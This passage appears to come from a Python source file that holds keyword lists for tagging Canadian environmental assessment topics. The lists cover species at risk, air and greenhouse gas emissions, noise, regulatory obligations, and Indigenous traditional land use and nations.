Hyperoodon ampullatus Sei Whale Balaenoptera borealis Beluga Whale Delphinapterus leucas Fin Whale Balaenoptera physalus Killer Whale Orcinus orcaesoplodon bidens clam scallop butterfly""" Species_at_Risk = """Species at Risk Species of Special Status Rare Species SARA s. 73 section 73 Species At Risk Act Endangered Species Threatened Species Endangered Wildlife Critical Habitat COSEWIC Committee on the Status of Endangered Wildlife in Canada Critical habitat Designation Schedule 1 At Risk Endangered Critical timing window Restricted activity period Canadian Wildlife Service CWS Recovery Strategy Action Plan Permit Caribou Bat special conservation status American Badger jacksoni jaksoni Badger Taxidea taxus jacksoni American Badger jeffersonii Taxidea taxus jeffersonii American Badger jeffersonii jeffersonii Taxidea taxus jeffersonii Tri-coloured Bat Perimyotis subflavus Peary Caribou Caribou Rangifer tarandus pearyi Woodland Caribou Rangifer tarandus caribou Ord\'s Kangaroo Rat Dipodomys ordii Vancouver Island Marmot Marmota vancouverensis Townsend\'s Mole Scapanus townsendii Western Harvest Mouse dychei dychei Reithrodontomys megalotis dychei Little Brown Myotis Myotis Myotis lucifugus Northern Myotis Myotis septentrionalis Harbour Seal Lacs des Loups Marins Seal Phoca vitulina mellonae Pacific Water Shrew Sorex bendirii Whale Beluga Whale Delphinapterus leucas Blue Whale Balaenoptera musculus Blue Whale Balaenoptera musculus Killer Whale Orcinus orca North Atlantic Right Whale Eubalaena glacialis North Pacific Right Whale Eubalaena japonica Northern Bottlenose Whale Hyperoodon ampullatus Sei Whale Balaenoptera borealis Northern Bobwhite Colinus virginianus Yellow-breasted Chat auricollis auricollis Icteria virens auricollis Yellow-breasted Chat virens virens Icteria virens virens Whooping Crane Grus americana Eskimo Curlew Numenius borealis Acadian Flycatcher Empidonax virescens Horned Grebe Podiceps auritus Ivory Gull Pagophila eburnea Red Knot rufa rufa Calidris canutus rufa Streaked Horned Lark Eremophila alpestris strigata Barn Owl Tyto alba Burrowing Owl Athene cunicularia Spotted Owl caurina caurina Strix occidentalis caurina Mountain Plover Charadrius montanus Piping Plover circumcinctus circuinctus Charadrius melodus circumcinctus Piping Plover melodus melodus Charadrius melodus melodus King Rail Rallus elegans Greater Sage-Grouse urophasianus subspecies Centrocercus urophasianus urophasianus Williamson\'s Sapsucker Sphyrapicus thyroideus Pink-footed Shearwater Ardenna creatopus Loggerhead Shrike migrans migrans Lanius ludovicianus migrans Coastal Vesper Sparrow Pooecetes gramineus affinis Henslow\'s Sparrow Ammodramus henslowii Black Swift Cypseloides niger Roseate Tern Sterna dougallii Sage Thrasher Oreoscoptes montanus Cerulean Warbler Setophaga cerulea Kirtland\'s Warbler Dendroica kirtlandii Prothonotary Warbler Protonotaria citrea Red-headed Woodpecker Melanerpes erythrocephalus White-headed Woodpecker Picoides albolarvatus Cricket Frog Acris blanchardi Northern Leopard Frog Lithobates pipiens Oregon Spotted Frog Rana pretiosa Allegheny Mountain Dusky Salamander Desmognathus ochrophaeus Allegheny Mountain Dusky Salamander Desmognathus ochrophaeus Eastern Tiger Salamander Ambystoma tigrinum Jefferson Salamander Ambystoma jeffersonianum Northern Dusky Salamander Desmognathus fuscus Small-mouthed Salamander Ambystoma texanum Western Tiger Salamander Ambystoma mavortium Fowler\'s Toad Anaxyrus fowleri Eastern Reptiles Foxsnake Pantherophis gloydi Eastern Foxsnake Pantherophis gloydi Butler\'s Gartersnake Thamnophis butleri Greater Short-horned Lizard Phrynosoma hernandesi Massasauga Sistrurus catenatus Desert Nightsnake Hypsiglena chlorophaea Queensnake Regina septemvittata Blue Racer Coluber constrictor foxii Gray Ratsnake Pantherophis spiloides Leatherback Sea Turtle Dermochelys coriacea Leatherback Sea Turtle Dermochelys coriacea Loggerhead Sea Turtle Caretta caretta Five-lined Skink Plestiodon fasciatus Sharp-tailed Snake Contia tenuis Spiny Softshell Apalone spinifera Blanding\'s Turtle Emydoidea blandingii Spotted Turtle Clemmys guttata Western Painted Turtle Chrysemys picta bellii Striped Bass Morone saxatilis Silver Chub Macrhybopsis storeriana Lake Chubsucker Erimyzon sucetta Shortnose Cisco Coregonus reighardi Spring Cisco Coregonus sp. Nooksack Dace Rhinichthys cataractae ssp. Redside Dace Clinostomus elongatus Speckled Dace Rhinichthys osculus Channel Darter Percina copelandi Channel Darter Percina copelandi Spotted Gar Lepisosteus oculatus Western Brook Lamprey Lampetra richardsoni Northern Madtom Noturus stigmosus Copper Redhorse Moxostoma hubbsi Atlantic Salmon Salmo salar Basking Shark Cetorhinus maximus White Shark Carcharodon carcharias Carmine Shiner Notropis percobromus Rainbow Smelt Osmerus mordax Rainbow Smelt Osmerus mordax Enos Lake Benthic Threespine Stickleback Gasterosteus aculeatus Enos Lake Limnetic Threespine Stickleback Misty Lake Lentic Threespine Stickleback Misty Lake Lotic Threespine Stickleback Vananda Creek Benthic Threespine Stickleback Vananda Creek Limnetic Threespine Stickleback Gasterosteus aculeatus White Sturgeon Acipenser transmontanus Rainbow Trout Oncorhynchus mykiss Atlantic Whitefish Coregonus huntsmani Northern Molluscs Abalone Haliotis kamtschatkana Rayed Bean Villosa fabalis Fawnsfoot Truncilla donaciformis Broad-banded Forestsnail Allogona profunda Oregon Forestsnail Allogona townsendiana Proud Globelet Patera pennsylvanica Hickorynut Obovaria olivaria Round Hickorynut Obovaria subrotunda Kidneyshell Ptychobranchus fasciolaris Lilliput Toxolasma parvum Salamander Mussel Simpsonaias ambigua Hotwater Physa Physella wrighti Round Pigtoe Pleurobema sintoxia Northern Riffleshell Epioblasma torulosa rangiana Banff Springs Snail Physella johnsoni Snuffbox Epioblasma triquetra Island Blue Plebejus saepiolus insulanus Aweme Borer Papaipema aweme Hoptree Borer Prays atomocella Bogbean Buckmoth Hemileuca sp. Gypsy Cuckoo Bumble Bee Bombus bohemicus Rusty-patched Bumble Bee Bombus affinis Taylor\'s Checkerspot Euphydryas editha taylori Olive Clubtail Stylurus olivaceus Rapids Clubtail Gomphus quadricolor Riverine Clubtail Stylurus amnicola Skillet Clubtail Gomphus ventricosus Hungerford\'s Crawling Water Beetle Brychius hungerfordi Macropis Cuckoo Bee Epeoloides pilosulus Bert\'s Predaceous Diving Beetle Sanfilippodytes bertae Eastern Persius Duskywing Erynnis persius persius Okanagan Efferia Efferia okanagana Hine\'s Emerald Somatochlora hineana White Flower Moth Schinia bimatris Gold-edged Gem Schinia avemensis Behr\'s Hairstreak Satyrium behrii Half-moon Hairstreak Satyrium semiluna Mormon Metalmark Apodemia mormo Dusky Dune Moth Copablepharon longipenne Edwards\' Beach Moth Anarta edwardsii Five-spotted Bogus Yucca Moth Prodoxus quinquepunctellus Non-pollinating Yucca Moth Tegeticula corruptrix Sand-verbena Moth Copablepharon fuscum Yucca Moth Tegeticula yuccasella Maritime Ringlet Coenonympha nipisiquit Dakota Skipper Hesperia dacotae Poweshiek Skipperling Oarisma poweshiek Ottoe Skipper Hesperia ottoe False-foxglove Sun Moth Pyrrhia aurantiago Cobblestone Tiger Beetle Cicindela marginipennis Northern Barrens Tiger Beetle Cicindela patruela Wallis\' Dark Saltflat Tiger Beetle Cicindela parowana wallisi Gattinger\'s Agalinis Agalinis gattingeri Rough Agalinis Agalinis aspera Skinner\'s Agalinis Agalinis skinneriana Scarlet Ammannia Ammannia robusta Short-rayed Alkali Aster Symphyotrichum frondosum Eastern Mountain Avens Geum peckii Deltoid Balsamroot Balsamorhiza deltoidea Tall Beakrush Rhynchospora macrostachya Cherry Birch Betula lenta Bluehearts Buchnera americana Fernald\'s Braya Braya fernaldii Hairy Braya Braya pilosa Long\'s Braya Braya longii Tall Bugbane Actaea elata Bashful Bulrush Trichophorum planifolium Slender Bush-clover Lespedeza virginica California Buttercup Ranunculus californicus Water-plantain Buttercup Ranunculus alismifolius Butternut Juglans cinerea Eastern Prickly Pear Cactus Opuntia humifusa Spalding\'s Campion Silene spaldingii Coastal Scouler\'s Catchfly Silene scouleri grandis Muhlenberg\'s Centaury Centaurium muehlenbergii American Chestnut Castanea dentata Colicroot Aletris farinosa Slender Collomia Collomia tenella American Columbo Frasera caroliniensis Pink Coreopsis Coreopsis rosea Eastern Flowering Dogwood Cornus florida Contorted-pod Evening-primrose Camissonia contorta Southern Maidenhair Fern Adiantum capillus-veneris Eastern Prairie Fringed-orchid Platanthera leucophaea Western Prairie Fringed-orchid Platanthera praeclara Plymouth Gentian Sabatia kennedyana White Prairie Gentian Gentiana alba American Ginseng Panax quinquefolius Virginia Goat\'s-rue Tephrosia virginiana Showy Goldenrod Solidago speciosa Rayless Goldfields Lasthenia glaberrima Forked Three-awned Grass Aristida basiramea Fascicled Ironweed Vernonia fasciculata Tweedy\'s Lewisia Lewisiopsis tweedyi Small-flowered Lipocarpha Lipocarpha micrantha Seaside Birds-foot Lotus Lotus formosissimus Furbish\'s Lousewort Pedicularis furbishiae Dense-flowered Lupine Lupinus densiflorus Prairie Lupine Lupinus lepidus Streambank Lupine Lupinus rivularis Virginia Mallow Sida hermaphrodita White Meconella Meconella oregana Coast Microseris Microseris bigelovii Pink Milkwort Polygala incarnata Hoary Mountain-mint Pycnanthemum incanum Red Mulberry Morus rubra Phantom Orchid Cephalanthera austiniae Bearded Owl-clover Triphysaria versicolor Grand Coulee Owl-clover Orthocarpus barbatus Rosy Owl-clover Orthocarpus bracteosus Victoria\'s Owl-clover Castilleja victoriae Golden Paintbrush Castilleja levisecta Branched Phacelia Phacelia ramosissima Whitebark Pine Pinus albicaulis Heart-leaved Plantain Plantago cordata Large Whorled Pogonia Isotria verticillata Nodding Pogonia Triphora trianthophora Small Whorled Pogonia Isotria medeoloides Ogden\'s Pondweed Potamogeton ogdenii Fragrant Popcornflower Plagiobothrys figuratus Stoloniferous Pussytoes Antennaria flagellaris Engelmann\'s Quillwort Isoetes engelmannii Quebec Rockcress Boechera quebecensis Kellogg\'s Rush Juncus kelloggii Pink Sand-verbena Abronia umbellata Small-flowered Sand-verbena Tripterocalyx micranthus Dwarf Sandwort Minuartia pusilla False Hop Sedge Carex lupuliformis Foothill Sedge Carex tumulicola Juniper Sedge Carex juniperorum Lindley\'s False Silverpuffs Uropappus lindleyi Brook Spike-primrose Epilobium torreyi Dense Spike-primrose Epilobium densiflorum Bent Spike-rush Eleocharis geniculata Bent Spike-rush Eleocharis geniculata Horsetail Spike-rush Eleocharis equisetoides Thread-leaved Sundew Drosera filiformis Small-flowered Tonella Tonella tenella Toothcup Rotala ramosior Cucumber Tree Magnolia acuminata Bog Bird\'s-foot Trefoil Lotus pinnatus Drooping Trillium Trillium flexipes Howell\'s Triteleia Triteleia howellii Bird\'s-foot Violet Viola pedata Yellow Montane Violet praemorsa praemorsa Viola praemorsa ssp. praemorsa Barrens Willow Salix jejuna Spotted Wintergreen Chimaphila maculata Wood-poppy Stylophorum diphyllum Tall Woolly-heads Psilocarphus elatior Dwarf Woolly-heads Psilocarphus brevissimus Batwing Vinyl Lichen Leptogium platynum Boreal Felt Lichen Erioderma pedicellatum Pale-bellied Frost Lichen Physconia subpallida Seaside Centipede Lichen Heterodermia sitchensis Vole Ears Lichen Erioderma mollissimum Rusty Cord-moss Entosthodon rubiginosus Acuteleaf Small Limestone Moss Seligeria acutifolia Margined Streamside Moss Scouleria marginata Nugget Moss Microbryum vlassovii Poor Pocket Moss Fissidens pauperculus Rigid Apple Moss Bartramia stricta Roell\'s Brotherella Moss Brotherella roellii Silver Hair Moss Fabronia pusilla Pallid Bat Antrozous pallidus Wood Bison Bison bison athabascae Woodland Caribou Rangifer tarandus caribou Ermine haidarum subspecies Mustela erminea haidarum Grey Fox Urocyon cinereoargenteus Swift Fox Vulpes velox American Marten Martes americana atrata Black-tailed Prairie Dog blacktailed prairie dog dog cat Cynomys ludovicianus Beluga Whale Delphinapterus leucas Fin Whale Balaenoptera physalus Killer Whale Orcinus orca Short-tailed Birds Albatross Phoebastria albatrus Least Bittern Ixobrychus exilis Bobolink Dolichonyx oryzivorus Lark Bunting Calamospiza melanocorys Red Crossbill percna percna Loxia curvirostra percna Olive-sided Flycatcher Contopus cooperi Northern Goshawk laingi laingi Accipiter gentilis laingi Ross\'s Gull Rhodostethia rosea Ferruginous Hawk Buteo regalis Red Knot roselaari type Calidris canutus roselaari roselaari Chestnut-collared Longspur Calcarius ornatus McCown\'s Longspur Rhynchophanes mccownii Eastern Meadowlark Sturnella magna Marbled Murrelet Brachyramphus marmoratus Common Nighthawk Chordeiles minor Barn Owl Tyto alba Northern Saw-whet Owl brooksi brooksi Aegolius acadicus brooksi Sprague\'s Pipit Anthus spragueii Western Screech-owl kennicottii kennicottii Megascops kennicottii kennicottii Megascops kennicottii macfarlanei Loggerhead Shrike excubitorides excubitorides Lanius ludovicianus excubitorides Bank Swallow Riparia riparia Barn Swallow Hirundo rustica Chimney Swift Chaetura pelagica Bicknell\'s Thrush Catharus bicknelli Wood Thrush Hylocichla mustelina Canada Warbler Wilsonia canadensis Golden-winged Warbler Vermivora chrysoptera Louisiana Waterthrush Parkesia motacilla Whip-poor-will Caprimulgus vociferus Lewis\'s Woodpecker Melanerpes lewis Rocky Mountain Tailed Frog Ascaphus montanus Western Chorus Frog Pseudacris triseriata Coastal Giant Salamander Dicamptodon tenebrosus Spring Salamander Gyrinophilus porphyriticus Great Basin Spadefoot Spea intermontana Great Basin Reptiles Gophersnake Pituophis catenifer deserticola Massasauga Sistrurus catenatus Eastern Yellow-bellied Racer Coluber constrictor flaviventris Gray Ratsnake Pantherophis spiloides Western Rattlesnake Crotalus oreganos Eastern Ribbonsnake Thamnophis sauritus Eastern Hog-nosed Snake Heterodon platirhinos Blanding\'s Turtle Emydoidea blandingii Wood Turtle Glyptemys insculpta Eastern Sand Darter Ammocrypta pellucida Eastern Sand Darter Ammocrypta pellucida Vancouver Lamprey Entosphenus macrostomus Plains Minnow Hybognathus placitus Pugnose Minnow Opsopoeodus emiliae Western Silvery Minnow Hybognathus argyritis Black Redhorse Moxostoma duquesnei Coastrange Sculpin Cottus aleuticus Rocky Mountain Sculpin Cottus sp. Pugnose Shiner Notropis anogenus Silver Shiner Notropis photogenis Spotted Wolffish Anarhichas minor Mountain Sucker Catostomus platyrhynchus Salish Sucker Catostomus sp. cf. catostomus Bull Trout Salvelinus confluentus Westslope Cutthroat Trout Oncorhynchus clarkii lewisi Northern Wolffish Anarhichas denticulatus Atlantic Mud-piddock Barnea truncata Dromedary Jumping-slug Hemphillia dromedarius Mapleleaf Quadrula quadrula Blue-grey Taildropper Prophysaon coeruleum Threehorn Wartyback Obliquaria reflexa Verna\'s Flower Moth Schinia verna Dun Skipper Euphyes vestris Sable Island Sweat Bee Lasioglossum sablense Audouin\'s Night-stalking Tiger Beetle Omus audouini Gibson\'s Big Sand Tiger Beetle Cicindela formosa gibsoni Griscom’s Arnica Arnica griscomii ssp. griscomii Anticosti Aster Symphyotrichum anticostense Gulf of St. Lawrence Aster Symphyotrichum laurentianum Western Silvery Aster Symphyotrichum sericeum White Wood Aster Eurybia divaricata Willowleaf Aster Symphyotrichum praealtum Eastern Baccharis Baccharis halimifolia Branched Bartonia Bartonia paniculata ssp. paniculata Dense Blazing Star Liatris spicata Kentucky Coffee-tree Gymnocladus dioicus Tiny Cryptantha Cryptantha minima Lakeside Daisy Hymenoxys herbacea Deerberry Vaccinium stamineum Gray\'s Desert-parsley Lomatium grayi Lemmon\'s Holly Fern Polystichum lemmonii Mountain Holly Fern Polystichum scopulinum Victorin\'s Gentian Gentianopsis virgata ssp. victorinii Showy Goldenrod Solidago speciosa Goldenseal Hydrastis canadensis Smooth Goosefoot Chenopodium subglabrum Round-leaved Greenbrier Smilax rotundifolia Dwarf Hackberry Celtis tenuifolia Wild Hyacinth Camassia scilloides Van Brunt\'s Jacob’s-ladder Polemonium vanbruntiae Small White Lady\'s-slipper Cypripedium candidum Hare-footed Locoweed Oxytropis lagopus Macoun\'s Meadowfoam Limnanthes macounii Mexican Mosquito-fern Azolla mexicana Slender Mouse-ear-cress Halimolobos virgata Cliff Paintbrush Castilleja rupicola Sweet Pepperbush Clethra alnifolia Showy Phlox Phlox speciosa ssp. occidentalis Slender Popcornflower Plagiobothrys tenellus Bolander\'s Quillwort Isoetes bolanderi False Rue-anemone Enemion biternatum Bear\'s-foot Sanicle Sanicula arctopoides Purple Sanicle Sanicula bipinnatifida Soapweed Yucca glauca Western Spiderwort Tradescantia occidentalis Hill\'s Thistle Cirsium hillii Toothcup Rotala ramosior Purple Twayblade Liparis liliifolia American Water-willow Justicia americana Green-scaled Willow Salix chlorolepis Blunt-lobed Woodsia Woodsia obtusa Seaside Bone Hypogymnia heterophylla Black-foam Lichen Anzia colpodes Crumpled Tarpaper Lichen Collema coniophilum Wrinkled Shingle Lichen Pannaria lurida Eastern Waterfan Peltigera hydrothyria Porsild\'s Bryum Mielichhoferia macrocarpa Alkaline Wing-nerved Moss Pterygoneurum kozlovii Haller\'s Apple Moss Bartramia halleriana Spoon-leaved Moss Bryoandersonia illecebra Badger taxus taxus Taxidea taxus taxus Spotted Bat Euderma maculatum Grizzly Bear Ursus arctos Polar Bear Ursus maritimus Mountain Beaver Aplodontia rufa Barren-ground Caribou Rangifer tarandus groenlandicus Woodland Caribou Rangifer tarandus caribou Nuttall\'s Cottontail nuttallii nuttallii Sylvilagus nuttallii nuttallii Eastern Mole Scalopus aquaticus Western Harvest Mouse megalotis subspecies Reithrodontomys megalotis megalotis Sea Otter Enhydra lutris Collared Pika Ochotona collaris Harbour Porpoise Phocoena phocoena Steller Sea Lion Eumetopias jubatus Woodland Vole Microtus pinetorum Bowhead Whale Balaena mysticetus Fin Whale Balaenoptera physalus Grey Whale Eschrichtius robustus Humpback Whale Megaptera novaeangliae Sowerby\'s Beaked Whale Mesoplodon bidens Eastern Wolf Canis lupus lycaon Wolverine Gulo gulo Black-footed Birds Albatross Phoebastria nigripes Cassin\'s Auklet Ptychoramphus aleuticus Rusty Blackbird Euphagus carolinus Long-billed Curlew Numenius americanus Harlequin Duck Histrionicus histrionicus Peregrine Falcon anatum/tundrius Falco peregrinus anatum/tundrius Peregrine Falcon pealei subspecies Falco peregrinus pealei Barrow\'s Goldeneye Bucephala islandica Horned Grebe Podiceps auritus Western Grebe Aechmophorus occidentalis Evening Grosbeak Coccothraustes vespertinus Great Blue Heron fannini fannini Ardea herodias fannini Red Knot islandica subspecies Calidris canutus islandica Ancient Murrelet Synthliboramphus antiquus Flammulated Owl Otus flammeolus Short-eared Owl Asio flammeus Red-necked Phalarope Phalaropus lobatus Band-tailed Pigeon Patagioenas fasciata Yellow Rail Coturnicops noveboracensis Buff-breasted Sandpiper Tryngites subruficollis Baird\'s Sparrow Ammodramus bairdii Grasshopper Sparrow pratensis subspecies Ammodramus savannarum pratensis Savannah Sparrow princeps subspecies Passerculus sandwichensis princeps Eastern Wood-pewee Contopus virens Coastal Tailed Amphibians Ascaphus truei Northern Leopard Frog Lithobates pipiens Red-legged Frog Rana aurora Coeur d\'Alene Salamander Plethodon idahoensis Wandering Salamander Aneides vagrans Western Tiger Salamander Ambystoma mavortium Great Plains Toad Anaxyrus cognatus Western Toad Anaxyrus boreas Western Toad Anaxyrus boreas Rubber Boa Charina bottae Milksnake Lampropeltis triangulum Western Yellow-bellied Racer Coluber constrictor mormon Prairie Rattlesnake Crotalus viridis Eastern Ribbonsnake Thamnophis sauritus Five-lined Skink Plestiodon fasciatus Prairie Skink Plestiodon septentrionalis Western Skink Plestiodon skiltonianus Eastern Musk Turtle Sternotherus odoratus Eastern Painted Turtle Chrysemys picta picta Midland Painted Turtle Chrysemys picta marginata Northern Map Turtle Graptemys geographica Snapping Turtle Chelydra serpentina Western Painted Turtle Chrysemys picta bellii Lake Erie Watersnake Nerodia sipedon insularum Bigmouth Buffalo Ictiobus cyprinellus Channel Darter Percina copelandi Dolly Varden Salvelinus malma malma Banded Killifish Fundulus diaphanus Upper Great Lakes Kiyi Coregonus kiyi kiyi Northern Brook Lamprey Ichthyomyzon fossor Silver Lamprey Ichthyomyzon unicuspis Cutlip Minnow Exoglossum maxillingua Grass Pickerel Esox americanus vermiculatus River Redhorse Moxostoma carinatum Rougheye Rockfish type I Sebastes sp. type I Rougheye Rockfish type II Sebastes sp. type II Yelloweye Rockfish Sebastes ruberrimus Yelloweye Rockfish Sebastes ruberrimus Columbia Sculpin Cottus hubbsi Deepwater Sculpin Myoxocephalus thompsonii Rocky Mountain Sculpin Cottus sp. Shorthead Sculpin Cottus confusus Bluntnose Sixgill Shark Hexanchus griseus Bridle Shiner Notropis bifrenatus Giant Threespine Stickleback Gasterosteus aculeatus Unarmoured Threespine Stickleback Gasterosteus aculeatus Green Sturgeon Acipenser medirostris Lake Sturgeon Acipenser fulvescens Shortnose Sturgeon Acipenser brevirostrum Mountain Sucker Catostomus platyrhynchus Spotted Sucker Minytrema melanops Northern Sunfish Lepomis peltastes Longspine Thornyhead Sebastolobus altivelis Tope Galeorhinus galeus Blackstripe Topminnow Fundulus notatus Bull Trout Salvelinus confluentus Bull Trout Salvelinus confluentus Westslope Cutthroat Trout Oncorhynchus clarkii lewisi Warmouth Lepomis gulosus Atlantic Wolffish Anarhichas lupus Brook Floater Alasmidonta varicosa Warty Jumping-slug Hemphillia glandulosa Haida Gwaii Slug Staala gwaii Pygmy Slug Kootenaia burkei Sheathed Slug Zacoleus idahoensis Threaded Vertigo Nearctula sp. Magnum Mantleslug Magnipelta mycophaga Wavy-rayed Lampmussel Lampsilis fasciola Yellow Lampmussel Lampsilis cariosa Mapleleaf Quadrula quadrula Rocky Mountain Ridged Mussel Gonidea angulata Olympia Oyster Ostrea lurida Eastern Pondmussel Ligumia nasuta Rainbow Villosa iris Yellow-banded Bumble Bee Bombus terricola Vivid Dancer Argia vivida Greenish-white Grasshopper Hypochlora alba Red-tailed Leafhopper Aflexia rubranura Red-tailed Leafhopper Aflexia rubranura Mormon Metalmark Apodemia mormo Monarch Danaus plexippus Pale Yellow Dune Moth Copablepharon grandis Sonora Skipper Polites sonora Pygmy Snaketail Ophiogomphus howei Georgia Basin Bog Spider Gnaphosa snohomish Dune Tachinid Fly Germaria angustata Weidemeyer\'s Admiral Limenitis weidemeyerii Blue Ash Fraxinus quadrangulata Crooked-stem Aster Symphyotrichum prenanthoides Nahanni Aster Symphyotrichum nahanniense White-top Aster Sericocarpus rigidus Vancouver Island Beggarticks Bidens amplissima Western Blue Flag Iris missouriensis Buffalograss Bouteloua dactyloides American Hart\'s-tongue Fern Asplenium scolopendrium Coastal Wood Fern Dryopteris arguta Goldencrest Lophiola aurea Houghton\'s Goldenrod Solidago houghtonii Riddell\'s Goldenrod Solidago riddellii Mackenzie Hairgrass Deschampsia mackenzieana Common Hoptree Ptelea trifoliata Tuberous Indian-plantain Arnoglossum plantagineum Dwarf Lake Iris Iris lacustris Eastern Lilaeopsis Lilaeopsis chinensis Lyall\'s Mariposa Lily Calochortus lyallii Fernald\'s Milk-vetch Astragalus robbinsii var. fernaldii Water Pennywort Hydrocotyle umbellata Beach Pinweed Lechea maritima Yukon Podistera Podistera yukonensis Hill\'s Pondweed Potamogeton hillii Hairy Prairie-clover Dalea villosa Prototype Quillwort Isoetes prototypus Redroot Lachnanthes caroliniana Climbing Prairie Rose Rosa setigera Swamp Rose-mallow Hibiscus moscheutos New Jersey Rush Juncus caesariensis Spiked Saxifrage Micranthes spicata Baikal Sedge Carex sabulosa Tubercled Spike-rush Eleocharis tuberculosa Floccose Tansy Tanacetum huronense var. floccosum Pitcher\'s Thistle Cirsium pitcheri Athabasca Thrift Armeria maritima interior Victorin\'s Water-hemlock Cicuta maculata var. victorinii Yukon Wild Buckwheat Eriogonum flavum var. aquilinum Felt-leaf Willow Salix silicicola Sand-dune Short-capsuled Willow Salix brachycarpa var. psammophila Turnor\'s Willow Salix turnorii Dwarf Woolly-heads Psilocarphus brevissimus Large-headed Woolly Yarrow Achillea millefolium var. megacephalum Banded Mosses Cord-moss Entosthodon fascicularis Columbian Carpet Moss Bryoerythrophyllum columbianum Twisted Oak Moss Syntrichia laevipila Tiny Tassel Crossidium seriatum Frosted Lichens Glass-whiskers Sclerophora peronella Flooded Jellyskin Leptogium rivulare Blue Felt Lichen Degelia plumbea Boreal Felt Lichen Erioderma pedicallatum Cryptic Paw Lichen Nephroma occultum Oldgrowth Specklebelly Lichen Pseudocyphellaria rainierensis Peacock Vinyl Lichen Leptogium polycarpum Mountain Crab-eye Acroscyphus sphaerophoroides Western Waterfan Peltigera gowardii""" Air_emissions = """Air Emissions Air CAC criteria air contaminant Emissions Construction equipment vehicular emissions CCME Volatile organic compounds Combustion Leak Fugitive emissions Flaring Incinerating Averaging Period incineration Smoke Venting Pollute pollutant National Pollutant Release Inventory Exceedance Release Ambient Hydrogen sulphide H2S particulate so2 sulfur dioxide mercaptans dust NO2 ozone nitrogen dioxide oxides of nitrogen NOX Clean Air Act concentration groundlevel ground-level gm3 receptor""" Greenhouse_gas_emissions = """GHG Emissions and Climate Change greenhouse greenhouse gas green house gas greenhouse gases climate change point source area source release leak burning assumption offset off-set International Standards Organization ISO ghg ozone global warming Assessment of Upstream GHG Emissions upstream quantitative throughput net zero net-zero Environment and Climate Change Canada (ECCC) Threshold CO2 Carbon dioxide CO2 equivalent Methane ch4 steam hydrogen combustion fugitive venting flaring""" Noise = """Acoustic Environment Sound Noise Equipment Frequency Inaudible Audible Decibel Notification Noise control Noise management loud quiet db acoustic construction traffic blasting machinery gas plant compression station""" Environmental_Obligations = """Environmental Obligations MBCA migratory birds convention act SARA Species at risk act DFO Fisheries and Oceans Canada Federal Wetland Policy Hinder Federal Provincial Territorial International Policy Plan Framework law legislation regulatory regulations Federal Wetland Policy""" Indigenous_land_water_and_air_use = """Traditional Land and Resource Use TLRU traditional Traditional ecological knowledge Traditional Knowledge Indigenous Knowledge Aboriginal Knowledge Aboriginal Native Indian First Peoples Treaty Lands Indigenous Land Traditional Territory Oral Indigenous Knowledge settlement area IK OIK TK access to lands access to resources Hunt hunting fishing Harvest harvesting Culturally significant Culturally modified tree Gather Berries Medicine Berry picking Indigenous Elder Knowledge Keeper Trapping trap Ceremony ceremonies Medicinal Cultural Old growth Spirit Bear Spirit animal spiritual sacred area sacred sites metis Métis first nations shxw’ōwhámel lheidlit’enneh whispering pines first nation inuit elders kumik elder lodge tribal Abenaki Innu Montagnais-Naskapi Oneida Ahousaht Interior Salish Onondaga Algonquin Inuinnait Copper Inuit Pacheenaht Assiniboine Inuvialuit Mackenzie Inuit Petun Atikamekw Kainai Piikani Peigan Baffin Island Inuit K'asho Got'ine Saldermiut Inuit Beothuk Kaska Dena Sahtu Got'ine Bearlake Blackfoot Confederacy Blackfoot Kivallirmiut Caribou Inuit Secwepemc Shuswap Cayuga Ktunaxa Kootenay Sekani Central Coast Salish Kwakwaka'wakw Kwakiutl Seneca Coast Salish Kyuquot and Checleseht Shuta Got'ine Cree Labradormiut Labrador Inuit Siksika Dakota Lilwat Lillooet Slavey Dakelh Lingit Tlingit Stoney-Nakoda Dane-zaa Beaver Syilx Okanagan Dene Mi'kmaq Tagish Denesuline Chipewyan Mohawk Tahltan Ditidaht Mowachaht-Muchalaht Tla-o-qui-aht Clayoquot Ehattesaht Nahani Tlicho Dogrib Gitxsan Gitksan Netsilingmiut Netsilik Inuit Toquaht Gwich'in Neutral Confederacy Tr'ondëk Hwëch'in (Han) Haida Nicola-Similkameen Tseshaht Sheshaht Haisla Kitamaat Nisga'a Tsilhqot'in Chilcotin Haudenosaunee Six Nations Iroquois Nlaka'pamux Thompson Tsimshian Heiltsuk Northern Georgia Strait Coast Salish Tsuut'ina Sarcee Hesquiaht Nuchatlaht Tutchone Hupacasath Opetchesaht Nunavimmiut Ungava Inuit Uchucklesaht Huu-ay-aht Nuu-chah-nulth Ucluelet Huron-Wendat Nuxalk Bella Coola Wolastoqiyik Maliseet Iglulingmuit Iglulik Inuit Odawa Wetal Tsetsaut Inuit Ojibwa Yellowknives popkum first nation leq’á:mel first nation alexander first nation samson cree first nation o’chiese first nation ermineskin cree nation enoch cree nation indian eskimo Crown land ?Akisq'nuk ?Esdilagh 'Namgis Aamjiwnaang Fort Liard Adams Lake Ahousaht Ahtahkakoop &Abrevethélets Aklavik Tobacco Plains Ahkwesáhsne Kanien'kehá:ka Alderville Alexander Alexis Nakota Sioux Tsi Del Del Alkali Lake Anaham Anderson Lake Animbiigoo Zaagi'igan Anishinaabek Big Island Anishinabe of Wauzhushk Onigum St. Mary's Ikpiarjuk Tsiigehtchic Aseniwuche Winewak Ashcroft Athabasca Chipewyan Whitefish Lake Attawapiskat Aundeck-Omni-Kaning Grise Fiord Awaetlala Peerless Trout Barren Lands Batchewana Beardy's and Okemasis' Bearskin Lake Beausoleil Beaver Beaver Lake Scia'new Fort Norman Behdzi Ahda" Heíltsuk Nuxalk Big Cove Joseph Bighead Cree Big River Bigstone Cree Birch Narrows Birdtail Sioux Walpole Island Stony Rapids Little Black River Marcel Colomb Blood Bloodvein Blueberry River Montana Cree St'uxtews Boothroyd Boston Bar Bridge River Brokenhead Ojibway Wet'suwet'en Qikiqtarjuaq Brunwick House Tjipogtotjg Buffalo Point Buffalo River Dene Oxford House Burns Lake Burnt Church Tsleil Waututh Calling Lake Cambridge Bay Wei Wai Kum Stswecem'c/Xgat'tem Canoe Lake Cree Canupawakpa Dakota Kinngait Cape Mudge Carcross/Tagish Ceg-a-Kin Cayoose Creek Ch'iyáqtel Chacachas Chakastaypasin Seton Lake Champagne and Aishihik Chawathil Cheam Chehalis Chemainus Chemawawin Cree Cheslatta Carrier Big Bear Janvier Chisasibi Tla-o-qui-aht Clearwater River Dene Clyde River Cold Lake Coldwater Comox Constance Lake Cook's Ferry Cote Cowessess Cowichan O-Chi-Chak-Ko-Sipi Mikisew Cree Cross Lake Cumberland House Dakota Plains Wahpeton Dakota Tipi Dauphin River Day Star Daylu Dena Council Skeetchestn 